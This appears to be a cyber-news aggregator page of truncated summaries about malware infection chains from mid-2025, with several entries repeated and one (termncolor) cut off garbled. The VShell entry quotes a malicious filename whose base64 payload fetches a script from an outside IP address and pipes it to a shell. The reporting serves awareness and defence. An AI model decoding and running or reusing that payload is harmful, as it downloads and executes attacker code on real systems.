Collecting Cyber-News from over 60 sources

Tag: infection

New Malware Exploits Exposed Docker APIs to Gain Persistent Root SSH Access

Sep 9, 2025 11:08 AM

Tags: access, api, cyber, data-breach, docker, exploit, infection, infrastructure, malware

The Akamai Hunt Team has uncovered a new strain of malware that targets exposed Docker APIs with expanded infection capabilities. First observed in August 2025 within Akamai’s honeypot infrastructure, this variant diverges from the June 2025 Trend Micro report by blocking other attackers from accessing the Docker API and delivering a modular payload rather than…
APT37 Targets Windows with Rust Backdoor and Python Loader

Sep 8, 2025 5:08 PM

Tags: api, attack, backdoor, cctv, cloud, computer, control, data, detection, exploit, government, group, infection, injection, jobs, korea, malicious, malware, microsoft, monitoring, north-korea, organized, password, phishing, powershell, programming, rust, service, social-engineering, spear-phishing, startup, tactics, theft, threat, tool, update, vulnerability, windows

IntroductionAPT37 (also known as ScarCruft, Ruby Sleet, and Velvet Chollima) is a North Korean-aligned threat actor active since at least 2012. APT37 primarily targets South Korean individuals connected to the North Korean regime or involved in human rights activism, leveraging custom malware and adopting emerging technologies.In recent campaigns, APT37 utilizes a single command-and-control (C2) server…
APT37 Targets Windows with Rust Backdoor and Python Loader

Sep 8, 2025 5:08 PM

Tags: api, attack, backdoor, cctv, cloud, computer, control, data, detection, exploit, government, group, infection, injection, jobs, korea, malicious, malware, microsoft, monitoring, north-korea, organized, password, phishing, powershell, programming, rust, service, social-engineering, spear-phishing, startup, tactics, theft, threat, tool, update, vulnerability, windows

IntroductionAPT37 (also known as ScarCruft, Ruby Sleet, and Velvet Chollima) is a North Korean-aligned threat actor active since at least 2012. APT37 primarily targets South Korean individuals connected to the North Korean regime or involved in human rights activism, leveraging custom malware and adopting emerging technologies.In recent campaigns, APT37 utilizes a single command-and-control (C2) server…
APT37 Targets Windows with Rust Backdoor and Python Loader

Sep 8, 2025 5:08 PM

Tags: api, attack, backdoor, cctv, cloud, computer, control, data, detection, exploit, government, group, infection, injection, jobs, korea, malicious, malware, microsoft, monitoring, north-korea, organized, password, phishing, powershell, programming, rust, service, social-engineering, spear-phishing, startup, tactics, theft, threat, tool, update, vulnerability, windows

IntroductionAPT37 (also known as ScarCruft, Ruby Sleet, and Velvet Chollima) is a North Korean-aligned threat actor active since at least 2012. APT37 primarily targets South Korean individuals connected to the North Korean regime or involved in human rights activism, leveraging custom malware and adopting emerging technologies.In recent campaigns, APT37 utilizes a single command-and-control (C2) server…
XWorm Malware Adopts New Infection Chain to Bypass Security Detection

Sep 4, 2025 7:19 AM

Tags: backdoor, cyber, cybersecurity, detection, infection, malware, strategy, tactics

Cybersecurity researchers have identified a sophisticated evolution in XWorm malware operations, with the backdoor campaign implementing advanced tactics to evade detection systems. The Trellix Advanced Research Center has documented this significant shift in the malware’s deployment strategy, revealing a deliberate move toward more deceptive and intricate infection methods designed to increase success rates while remaining…
Mapping the Web of Commercial Spyware: Targets and Attack Chains

Sep 2, 2025 2:19 PM

Tags: attack, cyber, cybersecurity, infection, intelligence, spyware, threat

A comprehensive new report spanning 2010 to 2025 reveals the ever-evolving landscape of commercial spyware vendors (CSVs), exposing the methods these private firms employ to infiltrate devices, their typical targets, and the infection chains that deliver their covert implants. The study, produced by a leading cybersecurity intelligence firm, underscores the persistent threat posed by CSVs”,…
Threat Actors Exploit Windows Search in AnyDesk ClickFix Attack to Spread MetaStealer

Sep 2, 2025 10:19 AM

Tags: attack, credentials, cyber, exploit, infection, scam, social-engineering, threat, windows

In a novel twist on the year-long trend of ClickFix scams, threat actors have blended human-verification social engineering with the Windows search protocol to deliver MetaStealer, a commodity infostealer notorious for harvesting credentials and exfiltrating sensitive files. While the attack superficially resembles classic ClickFix and FileFix techniques, its unique infection chain”, from a fake AnyDesk…
Abandoned Sogou Zhuyin Update Server Hijacked, Weaponized in Taiwan Espionage Campaign

Aug 29, 2025 4:23 PM

Tags: attack, cloud, espionage, infection, login, malware, software, threat, update

An abandoned update server associated with input method editor (IME) software Sogou Zhuyin was leveraged by threat actors as part of an espionage campaign to deliver several malware families, including C6DOOR and GTELAM, in attacks primarily targeting users across Eastern Asia.”Attackers employed sophisticated infection chains, such as hijacked software updates and fake cloud storage or…
Weaponized ScreenConnect RMM Tool Deceives Users into Installing Xworm RAT

Aug 28, 2025 5:23 PM

Tags: access, attack, cyber, infection, malware, phishing, rat, social-engineering, tactics, threat, tool

The SpiderLabs Threat Hunt Team recently discovered a cyber campaign in which threat actors used the genuine ScreenConnect remote management application as a weapon to spread the Xworm Remote Access Trojan (RAT) through a multi-phase infection chain. The attack begins with social engineering tactics, including phishing, malvertising, and deceptive social media posts, luring users to…
Malicious apps with +19M installs removed from Google Play because spreading Anatsa banking trojan and other malware

Aug 25, 2025 8:55 PM

Tags: android, banking, google, infection, malicious, malware

Experts found 77 malicious Android apps with 19M+ installs on Google Play, spreading malware, including the Anatsa (TeaBot) banking trojan. While investigating Anatsa (Tea Bot) banking trojan infections, Zscaler’s ThreatLabs discovered seventy-seven malicious Android apps with more than 19 million installs. Several Anatsa decoy apps have each been downloaded more than 50,000 times. The malicious apps…
Malicious apps with +19M installs removed from Google Play because spreading Anatsa banking trojan and other malware

Aug 25, 2025 8:55 PM

Tags: android, banking, google, infection, malicious, malware

Experts found 77 malicious Android apps with 19M+ installs on Google Play, spreading malware, including the Anatsa (TeaBot) banking trojan. While investigating Anatsa (Tea Bot) banking trojan infections, Zscaler’s ThreatLabs discovered seventy-seven malicious Android apps with more than 19 million installs. Several Anatsa decoy apps have each been downloaded more than 50,000 times. The malicious apps…
Linux Malware Delivered via Malicious RAR Filenames Evades Antivirus Detection

Aug 22, 2025 5:54 PM

Tags: antivirus, attack, backdoor, cybersecurity, detection, email, infection, linux, malicious, malware, open-source, phishing, spam

Cybersecurity researchers have shed light on a novel attack chain that employs phishing emails to deliver an open-source backdoor called VShell.The “Linux-specific malware infection chain that starts with a spam email with a malicious RAR archive file,” Trellix researcher Sagar Bade said in a technical write-up.”The payload isn’t hidden inside the file content or a…
Stealth Threat Unpacked: Weaponized RAR Files Deliver VShell Backdoor on Linux Systems

Aug 22, 2025 10:54 AM

Tags: backdoor, cyber, data-breach, infection, linux, spam, threat

Trellix Advanced Research Center has exposed an infection chain that weaponises nothing more than a filename to compromise Linux hosts. A spam message masquerading as a beauty-product survey offers a small reward and carries a RAR archive, yy.rar. When unpacked, the archive drops a single file whose name is a miniature Bash program: ziliao2.pdf{echo,KGN1cmwgLWZzU0wgLW0xODAgaHR0cDovLzQ3Ljk4LjE5NC42MDo4MDg0L3Nsd3x8d2dldCAtVDE4MCAtcSBodHRwOi8vNDcuOTguMTk0LjYwOjgwODQvc2x3KXxzaCAg}_{base64,-d}_bash The…
UNC5518 Group Hacks Legitimate Sites with Fake Captcha to Deliver Malware

Aug 21, 2025 1:55 PM

Tags: captcha, cyber, group, infection, malicious, malware, threat

The financially motivated threat group UNC5518 has been infiltrating trustworthy websites to install ClickFix lures, which are misleading phony CAPTCHA pages, as part of a complex cyber campaign that has been monitored since June 2024. These malicious pages trick users into executing downloader scripts that initiate infection chains, often leading to malware deployment by affiliated…
Analyzing evolution of the PipeMagic malware

Aug 19, 2025 10:54 AM

Tags: attack, cve, detection, exploit, flaw, hacker, infection, kaspersky, malware, vulnerability, windows

Hackers exploited Windows flaw CVE-2025-29824 to deploy PipeMagic malware in RansomExx attacks, Kaspersky revealed. A joint report fromKasperskyandBI.ZONEanalyzed the evolution of PipeMagic malware from its first detection in 2022 to new infections observed in 2025. The researchers identified key changes in its operators’ tactics. BI.ZONE experts focused on a technical analysis of the CVE-2025-29824 vulnerability…
Weaponized Python Package >>termncolor<< Uses Windows Run Key for Persistence

Aug 18, 2025 7:54 PM

Tags: attack, cyber, cybersecurity, infection, malicious, supply-chain, windows

Cybersecurity experts discovered a complex supply chain attack that originated from the Python Package Index (PyPI) in a recent disclosure from Zscaler ThreatLabz. The package in question, termed >>termncolor,>colorinal.>termncolor
Researchers Spot XZ Utils Backdoor in Dozens of Docker Hub Images, Fueling Supply Chain Risks

Aug 12, 2025 9:19 PM

Tags: backdoor, docker, firmware, hacker, infection, risk, supply-chain

New research has uncovered Docker images on Docker Hub that contain the infamous XZ Utils backdoor, more than a year after the discovery of the incident.More troubling is the fact that other images have been built on top of these infected base images, effectively propagating the infection further in a transitive manner, Binarly REsearch said…
CastleLoader Malware Hits 400+ Devices via Cloudflare-Themed ClickFix Phishing Attack

Aug 11, 2025 2:12 PM

Tags: attack, cyber, cybersecurity, github, infection, malware, phishing, threat

CastleLoader, a sophisticated malware loader, has compromised over 400 devices since its debut in early 2025, with cybersecurity firm PRODAFT reporting 469 infections out of 1,634 attempts by May 2025, achieving a staggering 28.7% success rate. This modular threat actor leverages advanced phishing techniques, including Cloudflare-themed ClickFix lures and deceptive GitHub repositories, to deploy a…
CastleLoader Malware Hits 400+ Devices via Cloudflare-Themed ClickFix Phishing Attack

Aug 11, 2025 2:12 PM

Tags: attack, cyber, cybersecurity, github, infection, malware, phishing, threat

CastleLoader, a sophisticated malware loader, has compromised over 400 devices since its debut in early 2025, with cybersecurity firm PRODAFT reporting 469 infections out of 1,634 attempts by May 2025, achieving a staggering 28.7% success rate. This modular threat actor leverages advanced phishing techniques, including Cloudflare-themed ClickFix lures and deceptive GitHub repositories, to deploy a…
DarkCloud Stealer Uses Novel Infection Chain and ConfuserEx Obfuscation Techniques

Aug 8, 2025 9:12 PM

Tags: cyber, infection, malware, tactics, update

Unit 42 researchers have identified a significant evolution in the distribution tactics of DarkCloud Stealer, an infostealer malware first observed shifting its delivery mechanisms in early April 2025. This update introduces a novel infection chain that incorporates advanced obfuscation via ConfuserEx, culminating in a Visual Basic 6 (VB6) payload designed to thwart static and dynamic…
DarkCloud Stealer Targets Windows Systems to Harvest Login Credentials and Financial Data

Aug 8, 2025 8:11 PM

Tags: credentials, cyber, data, finance, fortinet, infection, login, malware, microsoft, phishing, tactics, windows

A new variant of the DarkCloud information-stealer malware has been observed targeting Microsoft Windows systems, primarily affecting Windows users by collecting sensitive data such as login credentials, financial information, and personal contacts. Discovered in early July 2025 by Fortinet’s FortiGuard Labs, this high-severity campaign leverages sophisticated phishing tactics to initiate infections, demonstrating advanced evasion methods…
ScarCruft Hacker Group Launches New Rust-Based Malware Attack Leveraging PubNub

Aug 7, 2025 6:11 PM

Tags: attack, cyber, group, hacker, infection, intelligence, malware, north-korea, rust, threat, update

The North Korean state-sponsored advanced persistent threat (APT) group known as ScarCruft has been linked to a sophisticated malware campaign targeting South Korean users. Disguised as a postal-code update notice, this infection chain was uncovered by S2W’s Threat Analysis and Intelligence Center (TALON), revealing a subgroup dubbed ChinopuNK that distributes the Chinotto malware. First identified…
PlayPraetor Android Trojan Infects 11,000+ Devices via Fake Google Play Pages and Meta Ads

Aug 4, 2025 10:28 AM

Tags: access, android, botnet, cybersecurity, google, infection

Cybersecurity researchers have discovered a nascent Android remote access trojan (RAT) called PlayPraetor that has infected more than 11,000 devices, primarily across Portugal, Spain, France, Morocco, Peru, and Hong Kong.”The botnet’s rapid growth, which now exceeds 2,000 new infections per week, is driven by aggressive campaigns focusing on Spanish and French speakers, indicating a strategic…
APT36 Hackers Target Indian Railways, Oil, and Government Systems Using Malicious PDF Files

Aug 1, 2025 1:28 PM

Tags: cyber, government, group, hacker, india, infection, infrastructure, malicious, military, threat

The Pakistan-linked threat group APT36, also known as Transparent Tribe, has broadened its cyber operations beyond traditional military targets to encompass Indian railways, oil and gas infrastructure, and the Ministry of External Affairs. Security researchers have uncovered two sophisticated desktop-based infection chains leveraging .desktop files disguised as PDF documents, which execute malicious scripts to deploy…
Threat Actors Use LNK Files to Deploy RedLoader Malware on Windows Systems

Jul 30, 2025 5:28 PM

Tags: cyber, cybercrime, email, espionage, group, infection, malware, phishing, sophos, threat, windows

Sophos analysts have identified a novel infection chain employed by the financially motivated cybercriminal group GOLD BLADE, also known as RedCurl, Red Wolf, and Earth Kapre, to deploy their custom RedLoader malware on Windows systems. This group, active since 2018 and specializing in commercial espionage, has been observed using highly targeted phishing emails to infiltrate…
New JSCEAL Attack Aims to Steal Credentials and Wallets from Crypto App Users

Jul 30, 2025 12:28 PM

Tags: attack, credentials, crypto, cyber, infection, malicious, malware

Check Point Research (CPR) has identified a sophisticated malware campaign dubbed JSCEAL, which targets users of cryptocurrency trading applications through malicious advertisements and compiled JavaScript payloads. Active since at least March 2024, the operation has evolved to incorporate advanced anti-analysis techniques, including modular infection flows and the use of Node.js to execute compiled V8 JavaScript…
Unveiling 0bj3ctivityStealer’s Execution Chain: New Capabilities and Exfiltration Techniques Exposed

Jul 29, 2025 7:27 PM

Tags: cyber, data, data-breach, email, infection, malware, phishing, threat

In the ever-evolving infostealer landscape, 0bj3ctivityStealer emerges as a formidable threat, blending advanced obfuscation with targeted data exfiltration. Discovered earlier this year by HP Wolf Security researchers, this .NET-based malware has been observed in proactive threat hunting by the Trellix Advanced Research Center, revealing a novel phishing-driven campaign. The infection initiates through spearphishing emails themed…
New XWorm V6 Variant with Anti-Analysis Features Targeting Windows Users in Active Attacks

Jul 29, 2025 6:27 PM

Tags: attack, cyber, detection, infection, malware, threat, windows

Netskope Threat Labs has uncovered a new iteration of the XWorm malware, version 6.0, which demonstrates ongoing development by threat actors and introduces sophisticated enhancements aimed at evading detection and maintaining persistence on Windows systems. This variant builds upon previously documented infection chains, incorporating advanced anti-analysis techniques and process protection mechanisms that make it particularly…
Unveiling the Lumma Password Stealer Attack: Infection Chain and Escalation Tactics Exposed

Jul 29, 2025 4:28 PM

Tags: access, attack, credentials, crypto, cyber, data, data-breach, infection, malware, password, risk, service, tactics

Lumma, a sophisticated C++-based information stealer, has surged in prevalence over recent years, posing significant risks to both individuals and organizations by exfiltrating sensitive data such as browser credentials, cryptocurrency wallets, and personal files. Developed since December 2022 and distributed as Malware-as-a-Service (MaaS) via Telegram channels with tiered subscriptions, Lumma relies on initial access brokers…
Elite ‘Matanbuchus 3.0’ Loader Spruces Up Ransomware Infections

Jul 16, 2025 11:40 PM

Tags: attack, cybercrime, dns, edr, infection, ransomware, tool

An upgraded cybercrime tool is designed to make targeted ransomware attacks as easy and effective as possible, with features like EDR-spotting and DNS-based C2 communication. First seen on darkreading.com Jump to article: www.darkreading.com/threat-intelligence/matanbuchus-loader-ransomware-infections